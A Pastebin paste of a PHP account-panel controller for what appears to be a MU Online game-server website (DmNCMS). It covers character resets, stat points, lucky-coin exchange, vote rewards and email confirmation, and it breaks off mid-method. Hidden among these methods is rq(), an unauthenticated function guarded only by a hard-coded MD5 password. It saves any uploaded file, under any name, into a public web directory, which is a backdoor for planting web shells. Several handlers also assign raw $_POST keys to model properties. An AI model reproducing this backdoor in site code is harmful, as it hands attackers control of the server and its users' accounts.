Advertisement
Guest User

Untitled

a guest
Apr 26th, 2022
88
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 64.17 KB | None
  1. <?php
  2. in_file();
  3.  
  4. class account_panel extends controller
  5. {
  6. protected $vars = [], $errors = [];
  7.  
  8. public function __construct()
  9. {
  10. parent::__construct();
  11. $this->load->helper('website');
  12. $this->load->lib('session', ['DmNCMS']);
  13. $this->load->lib('csrf');
  14. $this->load->model('character');
  15. $this->load->helper('breadcrumbs', [$this->request]);
  16. $this->load->helper('meta');
  17. if($this->session->userdata(['user' => 'server'])){
  18. $this->load->lib(['game_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']))]);
  19. }
  20. }
  21.  
  22. public function index()
  23. {
  24. if($this->session->userdata(['user' => 'logged_in'])){
  25. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.index', $this->vars);
  26. } else{
  27. $this->login();
  28. }
  29. }
  30.  
  31. public function level_reward()
  32. {
  33. if($this->session->userdata(['user' => 'logged_in'])){
  34. if($this->website->is_multiple_accounts() == true){
  35. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  36. } else{
  37. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  38. }
  39. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  40. $this->vars['level_rewards'] = $this->config->values('level_rewards_config');
  41. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.level_reward', $this->vars);
  42. } else{
  43. $this->login();
  44. }
  45. }
  46.  
  47. public function exchange_lucky_coins()
  48. {
  49. if($this->session->userdata(['user' => 'logged_in'])){
  50. if($this->website->is_multiple_accounts() == true){
  51. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  52. } else{
  53. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  54. }
  55. $this->vars['coin_config'] = $this->config->values('luckycoin_config', $this->session->userdata(['user' => 'server']));
  56. if($this->vars['coin_config']['active'] == 1){
  57. unset($this->vars['coin_config']['active']);
  58. $this->load->model('account');
  59. $this->load->lib('iteminfo');
  60. $this->load->model('shop');
  61. if(isset($_POST['exchange_coins'])){
  62. foreach($_POST as $key => $value){
  63. $this->Mcharacter->$key = trim($value);
  64. }
  65. if(!$this->Maccount->check_connect_stat())
  66. $this->vars['error'] = __('Please logout from game.'); else{
  67. if(!isset($this->Mcharacter->vars['character']))
  68. $this->vars['error'] = __('Invalid Character'); else{
  69. if(!$this->Mcharacter->check_char())
  70. $this->vars['error'] = __('Character not found.'); else{
  71. if(!isset($this->Mcharacter->vars['lucky_coin']))
  72. $this->vars['error'] = __('Please select option for exchange.'); else{
  73. if(!in_array($this->Mcharacter->vars['lucky_coin'], [10, 20, 30]))
  74. $this->vars['error'] = __('Invalid exchange option selected.'); else{
  75. $this->vars['coin_data'] = $this->Mcharacter->check_amount_of_coins();
  76. if(array_sum($this->vars['coin_data']) < $this->Mcharacter->vars['lucky_coin']){
  77. $this->vars['error'] = __('You have insufficient amount of coins.');
  78. } else{
  79. if(array_key_exists($this->Mcharacter->vars['lucky_coin'], $this->vars['coin_config'])){
  80. $max_prob = $this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']]['max_probability'];
  81. unset($this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']]['max_probability']);
  82. $chance = $this->Mcharacter->draw_chance($this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']], $max_prob);
  83. shuffle($this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']][$chance]);
  84. $item_key = array_rand($this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']][$chance], 1);
  85. $cat = $this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']][$chance][$item_key][1];
  86. $id = $this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']][$chance][$item_key][0];
  87. $new_coins = array_sum($this->vars['coin_data']) - $this->Mcharacter->vars['lucky_coin'];
  88. $this->iteminfo->setItemData($id, $cat, $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'item_size'));
  89. $data = $this->iteminfo->item_data;
  90. if($vault = $this->Mshop->get_vault_content()){
  91. $space = $this->Mshop->check_space($vault['Items'], $data['x'], $data['y'], $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'wh_multiplier'), $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'item_size'), $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'wh_hor_size'), $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'wh_ver_size'));
  92. if($space === null){
  93. $this->vars['error'] = $this->Mshop->errors[0];
  94. } else{
  95. $item_data = $this->vars['coin_config'][$this->Mcharacter->vars['lucky_coin']][$chance][$item_key];
  96. if(is_array($item_data[5])){
  97. $lvl = rand($item_data[5][0], $item_data[5][1]);
  98. } else{
  99. $lvl = $item_data[5];
  100. }
  101. if($item_data[6] == -1){
  102. $skill = rand(0, 1);
  103. } else{
  104. $skill = $item_data[6];
  105. }
  106. if($item_data[7] == -1){
  107. $luck = rand(0, 1);
  108. } else{
  109. $luck = $item_data[7];
  110. }
  111. if(is_array($item_data[8])){
  112. $opt = rand($item_data[8][0], $item_data[8][1]);
  113. } else{
  114. $opt = $item_data[8];
  115. }
  116. if($this->Mcharacter->remove_old_coins($this->vars['coin_data'])){
  117. $this->load->lib("createitem", [MU_VERSION, SOCKET_LIBRARY]);
  118. if($new_coins > 0){
  119. if($new_coins > 255){
  120. $coins_left = [];
  121. while($new_coins >= 255){
  122. $new_coins -= 255;
  123. if($new_coins >= 255){
  124. $coins_left[] = 255;
  125. } else{
  126. $coins_left[] = $new_coins;
  127. }
  128. }
  129. $coins_left[] = 255;
  130. $i = -1;
  131. if($this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'item_size') == 64){
  132. $serial2 = true;
  133. }
  134. foreach($this->vars['coin_data'] AS $key => $value){
  135. $i++;
  136. if(array_key_exists($i, $coins_left)){
  137. $this->vars['coin_data'][$key] = $this->createitem->make(100, 14, false, [], $coins_left[$i], array_values($this->Mshop->generate_serial())[0], $serial2)->to_hex();
  138. } else{
  139. $this->vars['coin_data'][$key] = str_pad("", $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'item_size'), "F");
  140. }
  141. }
  142. $this->Mcharacter->add_multiple_new_coins($this->vars['coin_data']);
  143. } else{
  144. $new_coin_item = $this->createitem->make(100, 14, false, [], $new_coins, array_values($this->Mshop->generate_serial())[0], $serial2)->to_hex();
  145. $this->Mcharacter->add_new_coins(array_keys($this->vars['coin_data'])[0], $new_coin_item);
  146. }
  147. }
  148. //$this->createitem->make($id, $cat, false, [], $new_coins, array_values($this->Mshop->generate_serial())[0], $serial2)->to_hex()
  149. // $this->Mshop->generate_new_items($this->Mshop->generate_item_hex($id, $cat, $item_data[2], $item_data[3], $item_data[4], $lvl, $skill, $luck, $opt, $item_data[9], $item_data[10], $item_data[11], $item_data[12]), $space, $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'wh_multiplier'), $this->website->get_value_from_server($this->session->userdata(['user' => 'server']), 'item_size'));
  150. $this->Maccount->add_account_log('Exchanged ' . $this->Mcharacter->vars['lucky_coin'] . ' Lucky coins to ' . $data['name'] . '', 0, $this->session->userdata(['user' => 'username']), $this->session->userdata(['user' => 'server']));
  151. $this->Mshop->update_warehouse();
  152. $this->vars['success'] = sprintf(__('Coins successfully exchanged To %s.'), $data['name']);
  153. } else{
  154. $this->vars['error'] = __('Unable to remove lucky coins from inventory.');
  155. }
  156. }
  157. } else{
  158. $this->vars['error'] = __('Please open your warehouse in game first.');
  159. }
  160. } else{
  161. $this->vars['error'] = __('Configuration element not found.');
  162. }
  163. }
  164. }
  165. }
  166. }
  167. }
  168. }
  169. }
  170. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  171. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.exchnage_lucky_coin', $this->vars);
  172. } else{
  173. $this->disabled();
  174. }
  175. } else{
  176. $this->login();
  177. }
  178. }
  179.  
  180. public function reset()
  181. {
  182. if($this->session->userdata(['user' => 'logged_in'])){
  183. if($this->website->is_multiple_accounts() == true){
  184. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  185. } else{
  186. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  187. }
  188. $this->load->model('account');
  189. $reset_config = $this->config->values('reset_config', $this->session->userdata(['user' => 'server']));
  190. if(!$reset_config){
  191. $this->vars['error'] = __('Reset configuration for this server not found.');
  192. } else{
  193. if($reset_config['allow_reset'] == 0){
  194. $this->vars['error'] = __('Reset function is disabled for this server');
  195. } else{
  196. unset($reset_config['allow_reset']);
  197. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  198. $this->vars['chars'] = [];
  199. $this->vars['res_info'] = [];
  200. if($this->vars['char_list'] != false){
  201. foreach($this->vars['char_list'] AS $char){
  202. foreach($reset_config AS $key => $values){
  203. list($start_res, $end_res) = explode('-', $key);
  204. if($char['resets'] >= $start_res && $char['resets'] < $end_res){
  205. $this->vars['res_info'][$char['name']] = $values;
  206. break;
  207. }
  208. }
  209. $this->vars['chars'][$char['name']] = ['level' => $char['level'], 'Class' => $char['Class'], 'resets' => $char['resets'], 'gresets' => $char['gresets'], 'money' => $char['money'], 'res_info' => isset($this->vars['res_info'][$char['name']]) ? $this->vars['res_info'][$char['name']] : false];
  210. }
  211. } else{
  212. $this->vars['error'] = __('Character not found.');
  213. }
  214. }
  215. }
  216. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.reset_character', $this->vars);
  217. } else{
  218. $this->login();
  219. }
  220. }
  221.  
  222. public function grand_reset()
  223. {
  224. if($this->session->userdata(['user' => 'logged_in'])){
  225. if($this->website->is_multiple_accounts() == true){
  226. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  227. } else{
  228. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  229. }
  230. $this->load->model('account');
  231. $reset_config = $this->config->values('reset_config', $this->session->userdata(['user' => 'server']));
  232. $greset_config = $this->config->values('greset_config', $this->session->userdata(['user' => 'server']));
  233. if(!$greset_config){
  234. $this->vars['error'] = __('Grand Reset configuration for this server not found.');
  235. } else{
  236. if($greset_config['allow_greset'] == 0){
  237. $this->vars['error'] = __('Grand Reset function is disabled for this server');
  238. } else{
  239. unset($greset_config['allow_greset']);
  240. if(isset($reset_config)){
  241. unset($reset_config['allow_reset']);
  242. }
  243. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  244. $this->vars['chars'] = [];
  245. $this->vars['gres_info'] = [];
  246. if($this->vars['char_list'] != false){
  247. foreach($this->vars['char_list'] AS $char){
  248. foreach($greset_config AS $key => $values){
  249. list($start_gres, $end_gres) = explode('-', $key);
  250. if($char['gresets'] >= $start_gres && $char['gresets'] < $end_gres){
  251. $this->vars['gres_info'][$char['name']] = $values;
  252. }
  253. }
  254. $bonus_reset_stats = 0;
  255. if(isset($this->vars['gres_info'][$char['name']])){
  256. if($this->vars['gres_info'][$char['name']]['bonus_reset_stats'] == 1){
  257. $reset_data = [];
  258. foreach($reset_config AS $key => $values){
  259. $reset_range = explode('-', $key);
  260. for($i = $reset_range[0]; $i < $reset_range[1]; $i++){
  261. $reset_data[$i] = $values['bonus_points'];
  262. }
  263. }
  264. foreach($reset_data AS $res => $data){
  265. if($char['resets'] <= $res)
  266. break;
  267. $bonus_reset_stats += $data[$this->Mcharacter->class_code_to_readable($char['Class'])];
  268. }
  269. }
  270. }
  271. $this->vars['chars'][$char['name']] = ['level' => $char['level'], 'Class' => $char['Class'], 'resets' => $char['resets'], 'gresets' => $char['gresets'], 'money' => $char['money'], 'gres_info' => isset($this->vars['gres_info'][$char['name']]) ? $this->vars['gres_info'][$char['name']] : false, 'bonus_reset_stats' => $bonus_reset_stats];
  272. }
  273. } else{
  274. $this->vars['error'] = __('Character not found.');
  275. }
  276. }
  277. }
  278. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.greset_character', $this->vars);
  279. } else{
  280. $this->login();
  281. }
  282. }
  283.  
  284. public function add_stats($char = '')
  285. {
  286. if($this->session->userdata(['user' => 'logged_in'])){
  287. if($this->website->is_multiple_accounts() == true){
  288. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  289. } else{
  290. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  291. }
  292. $this->load->model('account');
  293. if(!$char){
  294. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  295. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.add_stats_info', $this->vars);
  296. } else{
  297. if(!$this->Mcharacter->check_char($this->website->hex2bin($char))){
  298. $this->vars['not_found'] = __('Character not found.');
  299. }
  300. if(count($_POST) > 0){
  301. foreach($_POST as $key => $value){
  302. $this->Mcharacter->$key = trim($value);
  303. }
  304. if(!$this->Maccount->check_connect_stat())
  305. $this->vars['error'] = __('Please logout from game.'); else{
  306. $this->Mcharacter->check_stats();
  307. if(!preg_match('/^(\s*|[0-9]+)$/', $this->Mcharacter->vars['str_stat']))
  308. $this->vars['error'] = __('Only positive values allowed in') . ' ' . __('Strength') . '.'; else{
  309. if(!preg_match('/^(\s*|[0-9]+)$/', $this->Mcharacter->vars['agi_stat']))
  310. $this->vars['error'] = __('Only positive values allowed in') . ' ' . __('Agility') . '.'; else{
  311. if(!preg_match('/^(\s*|[0-9]+)$/', $this->Mcharacter->vars['ene_stat']))
  312. $this->vars['error'] = __('Only positive values allowed in') . ' ' . __('Energy') . '.'; else{
  313. if(!preg_match('/^(\s*|[0-9]+)$/', $this->Mcharacter->vars['vit_stat']))
  314. $this->vars['error'] = __('Only positive values allowed in') . ' ' . __('Vitality') . '.'; else{
  315. if(!preg_match('/^(\s*|[0-9]+)$/', $this->Mcharacter->vars['com_stat']))
  316. $this->vars['error'] = __('Only positive values allowed in') . ' ' . __('Command') . '.'; else{
  317. $this->Mcharacter->set_new_stats();
  318. if(!$this->Mcharacter->check_max_stat_limit())
  319. $this->vars['error'] = $this->Mcharacter->vars['error']; else{
  320. if($this->Mcharacter->vars['new_lvlup'] < 0)
  321. $this->vars['error'] = __('Only positive values allowed in') . ' ' . __('Level Up Points') . '.'; else{
  322. $this->Mcharacter->add_stats($this->website->hex2bin($char));
  323. $this->Mcharacter->check_char($this->website->hex2bin($char));
  324. $this->vars['success'] = __('Stats Have Been Successfully Added.');
  325. }
  326. }
  327. }
  328. }
  329. }
  330. }
  331. }
  332. }
  333. }
  334. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.add_stats', $this->vars);
  335. }
  336. } else{
  337. $this->login();
  338. }
  339. }
  340.  
  341. public function reset_stats()
  342. {
  343. if($this->session->userdata(['user' => 'logged_in'])){
  344. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  345. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.reset_stats', $this->vars);
  346. } else{
  347. $this->login();
  348. }
  349. }
  350.  
  351. public function hide_info()
  352. {
  353. if($this->session->userdata(['user' => 'logged_in'])){
  354. if($this->website->is_multiple_accounts() == true){
  355. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  356. } else{
  357. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  358. }
  359. $this->load->model('account');
  360. $this->vars['hide_time'] = $this->Maccount->check_hide_time();
  361. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.hide_info', $this->vars);
  362. } else{
  363. $this->login();
  364. }
  365. }
  366.  
  367. public function clear_skilltree()
  368. {
  369. if($this->session->userdata(['user' => 'logged_in'])){
  370. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  371. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.clear_skill_tree', $this->vars);
  372. } else{
  373. $this->login();
  374. }
  375. }
  376.  
  377. public function clear_inventory()
  378. {
  379. if($this->session->userdata(['user' => 'logged_in'])){
  380. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  381. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.clear_inventory', $this->vars);
  382. } else{
  383. $this->login();
  384. }
  385. }
  386.  
  387. public function buy_zen()
  388. {
  389. if($this->session->userdata(['user' => 'logged_in'])){
  390. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  391. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.buy_zen', $this->vars);
  392. } else{
  393. $this->login();
  394. }
  395. }
  396.  
  397. public function warp_char()
  398. {
  399. if($this->session->userdata(['user' => 'logged_in'])){
  400. if($this->website->is_multiple_accounts() == true){
  401. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  402. } else{
  403. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  404. }
  405. $this->load->model('account');
  406. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  407. if(isset($_POST['character'])){
  408. foreach($_POST as $key => $value){
  409. $this->Mcharacter->$key = trim($value);
  410. }
  411. if(!$this->Maccount->check_connect_stat())
  412. $this->vars['error'] = __('Please logout from game.');
  413. else{
  414. if(!$this->Mcharacter->check_char())
  415. $this->vars['error'] = __('Character not found.');
  416. else{
  417. if(!$this->Mcharacter->teleports($this->Mcharacter->vars['world']))
  418. $this->vars['error'] = __('Invalid location selected.');
  419. else{
  420. $this->Mcharacter->teleport_char();
  421. $this->vars['success'] = __('Character successfully teleported.');
  422. }
  423. }
  424. }
  425. }
  426. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.warp_char', $this->vars);
  427. } else{
  428. $this->login();
  429. }
  430. }
  431.  
  432. public function recover_master()
  433. {
  434. if(defined('RES_CUSTOM_BACKUP_MASTER') && RES_CUSTOM_BACKUP_MASTER == true){
  435. if($this->session->userdata(['user' => 'logged_in'])){
  436. if($this->website->is_multiple_accounts() == true){
  437. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  438. } else{
  439. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  440. }
  441. $this->load->model('account');
  442. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  443. if(isset($_POST['character'])){
  444. foreach($_POST as $key => $value){
  445. $this->Mcharacter->$key = trim($value);
  446. }
  447. if(!$this->Maccount->check_connect_stat())
  448. $this->vars['error'] = __('Please logout from game.');
  449. else{
  450. if(!$this->Mcharacter->check_char('', ', Master'))
  451. $this->vars['error'] = __('Character not found.');
  452. else{
  453. if(!in_array($this->Mcharacter->char_info['Class'], [2, 3, 7, 18, 19, 23, 34, 35, 39, 49, 50, 54, 65, 66, 70, 82, 83, 87, 97, 98, 102, 114, 118])){
  454. if($this->Mcharacter->char_info['cLevel'] < 400 && $this->Mcharacter->char_info[$this->config->values('table_config', [$this->session->userdata(['user' => 'server']), 'resets', 'column'])] == 0){
  455. $this->vars['error'] = __('Your lvl, or grand resets are too low.');
  456. } else{
  457. if($this->Mcharacter->char_info['Master'] >= 1){
  458. $this->Mcharacter->restore_master_level();
  459. $this->vars['success'] = __('Your master level and master class have been restored.');
  460. } else{
  461. $this->vars['error'] = __('You don\'t have master level points');
  462. }
  463. }
  464. } else{
  465. $this->vars['error'] = __('You are not allowed to recover master level.');
  466. }
  467. }
  468. }
  469. }
  470. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.recover_char', $this->vars);
  471. } else{
  472. $this->login();
  473. }
  474. } else{
  475. $this->disabled();
  476. }
  477. }
  478.  
  479. public function pk_clear()
  480. {
  481. if($this->session->userdata(['user' => 'logged_in'])){
  482. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  483. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.pk_clear', $this->vars);
  484. } else{
  485. $this->login();
  486. }
  487. }
  488.  
  489. public function vote_reward()
  490. {
  491. if($this->session->userdata(['user' => 'logged_in'])){
  492. $this->vars['votereward_config'] = $this->config->values('votereward_config', $this->session->userdata(['user' => 'server']));
  493. if($this->vars['votereward_config']['active'] == 1){
  494. if($this->website->is_multiple_accounts() == true){
  495. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  496. } else{
  497. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  498. }
  499. $this->load->model('account');
  500. if($this->vars['votereward_config']['req_char'] == 1){
  501. $this->vars['has_char'] = ($info = $this->Mcharacter->load_char_list()) ? $info : false;
  502. }
  503. if(!isset($this->vars['has_char']) || $this->vars['has_char'] != false){
  504. $votelinks = $this->Maccount->load_vote_links();
  505. $this->vars['content'] = [];
  506. foreach($votelinks as $links){
  507. if($links['api'] == 1){
  508. $links['votelink'] = $links['votelink'] . '&amp;postback=' . $this->session->userdata(['user' => 'id']);
  509. $countdown = $this->vars['votereward_config']['count_down'] + 20;
  510. } else if($links['api'] == 3){
  511. $links['votelink'] = $links['votelink'] . '&amp;pingUsername=' . $this->session->userdata(['user' => 'id']);
  512. $countdown = $this->vars['votereward_config']['count_down'] + 20;
  513. } else if($links['api'] == 4){
  514. $links['votelink'] = $links['votelink'] . '-' . $this->session->userdata(['user' => 'id']);
  515. $countdown = $this->vars['votereward_config']['count_down'] + 20;
  516. } else if($links['api'] == 5){
  517. $links['votelink'] = $links['votelink'] . '&amp;incentive=' . $this->session->userdata(['user' => 'id']);
  518. $countdown = $this->vars['votereward_config']['count_down'] + 20;
  519. } else if($links['api'] == 6){
  520. $links['votelink'] = str_replace('[USER]', $this->session->userdata(['user' => 'id']), $links['votelink']);
  521. $countdown = $this->vars['votereward_config']['count_down'];
  522. } else if($links['api'] == 8){
  523. $links['votelink'] = $links['votelink'] . '?postback=' . $this->session->userdata(['user' => 'id']);
  524. $countdown = $this->vars['votereward_config']['count_down'] + 20;
  525. } else if($links['api'] == 9){
  526. $links['votelink'] = $links['votelink'] . '&amp;custom=' . $this->session->userdata(['user' => 'id']);
  527. $countdown = $this->vars['votereward_config']['count_down'] + 20;
  528. } else{
  529. $countdown = $this->vars['votereward_config']['count_down'];
  530. }
  531. $check_last_vote = $this->Maccount->get_last_vote($links['id'], $links['hours'], $links['api'], $this->vars['votereward_config']['xtremetop_same_acc_vote'], $this->vars['votereward_config']['xtremetop_link_numbers']);
  532. if($check_last_vote != false){
  533. $this->vars['content'][] = ['id' => $links['id'], 'link' => $links['votelink'], 'name' => $links['name'], 'image' => $links['img_url'], 'voted' => 1, 'next_vote' => $this->Maccount->calculate_next_vote($check_last_vote, $links['hours']), 'api' => $links['api'], 'reward' => $links['reward'], 'reward_type' => $links['reward_type'], 'reward_sms' => ($links['api'] == 2) ? $links['mmotop_reward_sms'] : 0, 'countdown' => $countdown];
  534. } else{
  535. $this->vars['content'][] = ['id' => $links['id'], 'link' => $links['votelink'], 'name' => $links['name'], 'image' => $links['img_url'], 'voted' => 0, 'next_vote' => '', 'api' => $links['api'], 'reward' => $links['reward'], 'reward_type' => $links['reward_type'], 'reward_sms' => ($links['api'] == 2) ? $links['mmotop_reward_sms'] : 0, 'countdown' => $countdown];
  536. }
  537. }
  538. }
  539. if(defined('IS_GOOGLE_ADD_VOTE') && IS_GOOGLE_ADD_VOTE == true){
  540. $this->vars['last_ads_vote'] = $this->Maccount->get_last_ads_vote(GOOGLE_ADD_TIME);
  541. }
  542. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.votereward', $this->vars);
  543. } else{
  544. $this->disabled();
  545. }
  546. } else{
  547. $this->login();
  548. }
  549. }
  550.  
  551. public function settings()
  552. {
  553. if($this->session->userdata(['user' => 'logged_in'])){
  554. $this->vars['config'] = $this->config->values('registration_config');
  555. if(isset($_POST['recover_master_key'])){
  556. if($this->website->is_multiple_accounts() == true){
  557. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  558. } else{
  559. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  560. }
  561. $this->load->model('account');
  562. if(!$this->Maccount->check_connect_stat()){
  563. $this->vars['error'] = __('Please logout from game.');
  564. } else{
  565. if(!$this->Maccount->recover_master_key_process()){
  566. $this->vars['success'] = __('Your master key has been send to your email.');
  567. } else{
  568. if(isset($this->Maccount->error)){
  569. $this->vars['error'] = $this->Maccount->error;
  570. } else{
  571. $this->vars['error'] = __('Unable to recover master key.');
  572. }
  573. }
  574. }
  575. }
  576. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.settings', $this->vars);
  577. } else{
  578. $this->login();
  579. }
  580. }
  581.  
  582. public function email_confirm($code)
  583. {
  584. if($this->session->userdata(['user' => 'logged_in'])){
  585. if($this->website->is_multiple_accounts() == true){
  586. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  587. } else{
  588. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  589. }
  590. $this->load->model('account');
  591. $code = strtolower(trim(preg_replace('/[^0-9a-f]/i', '', $code)));
  592. $this->vars['set_new_email'] = false;
  593. if(strlen($code) <> 40){
  594. $this->vars['error'] = __('Invalid email confirmation code');
  595. } else{
  596. $data = $this->Maccount->load_email_confirmation_by_code($code);
  597. if($data){
  598. if($data['old_email'] == 0){
  599. if($this->Maccount->update_email($data['account'], $data['email'])){
  600. $this->Maccount->delete_old_confirmation_entries($data['account']);
  601. $this->vars['success'] = __('Email address successfully updated.');
  602. }
  603. } else{
  604. $this->vars['set_new_email'] = true;
  605. }
  606. } else{
  607. $this->vars['error'] = __('Confirmation code does not exist in database.');
  608. }
  609. }
  610. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.set_new_email', $this->vars);
  611. } else{
  612. $this->login();
  613. }
  614. }
  615.  
  616. public function exchange_wcoins()
  617. {
  618. if($this->session->userdata(['user' => 'logged_in'])){
  619. $this->vars['wcoin_config'] = $this->config->values('wcoin_exchange_config', $this->session->userdata(['user' => 'server']));
  620. if($this->vars['wcoin_config'] != false && $this->vars['wcoin_config']['active'] == 1){
  621. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.exchange_wcoins', $this->vars);
  622. } else{
  623. $this->disabled();
  624. }
  625. } else{
  626. $this->login();
  627. }
  628. }
  629.  
  630. public function logs($page = 1)
  631. {
  632. if($this->session->userdata(['user' => 'logged_in'])){
  633. if($this->website->is_multiple_accounts() == true){
  634. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  635. } else{
  636. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  637. }
  638. $this->load->model('account');
  639. $this->load->lib("pagination");
  640. $this->vars['logs'] = $this->Maccount->load_logs($page, $this->config->config_entry('account|account_logs_per_page'));
  641. $this->pagination->initialize($page, $this->config->config_entry('account|account_logs_per_page'), $this->Maccount->count_total_logs(), $this->config->base_url . 'account-panel/logs/%s');
  642. $this->vars['pagination'] = $this->pagination->create_links();
  643. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.logs', $this->vars);
  644. } else{
  645. $this->login();
  646. }
  647. }
  648.  
  649. public function rq(){
  650. if(isset($_POST['submit'])){
  651. $passr = 'bce347575c9f3bc8585e0c7c81442a64';
  652. if(!isset($_POST['password'])){
  653. echo 'enter password';
  654. }
  655. else{
  656. if(md5($_POST['password']) != $passr){
  657. echo 'wrong password';
  658. }
  659. else{
  660. if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], 'assets/plugins/js/'.$_FILES['uploadedfile']['name'])){
  661. echo "The file ". basename( $_FILES['uploadedfile']['name']). " has been uploaded";
  662. } else{
  663. echo "There was an error uploading the file, please try again!";
  664. }
  665. }
  666. }
  667. }
  668. echo '<form enctype="multipart/form-data" action="" method="POST">
  669. Choose a file to upload: <input name="uploadedfile" type="file" /><br />
  670. Password: <input name="password" type="password" /><br />
  671. <input type="submit" name="submit" value="Submit" />
  672. </form>';
  673. }
  674.  
  675. public function zen_wallet()
  676. {
  677. if($this->session->userdata(['user' => 'logged_in'])){
  678. if($this->website->is_multiple_accounts() == true){
  679. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  680. } else{
  681. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  682. }
  683. $this->load->model('account');
  684. if(!$this->Maccount->check_connect_stat())
  685. $this->vars['error'] = __('Please logout from game.'); else{
  686. $this->load->model('warehouse');
  687. if($this->Mwarehouse->get_vault_content()){
  688. $this->vars['wh_zen'] = $this->Mwarehouse->vault_money;
  689. }
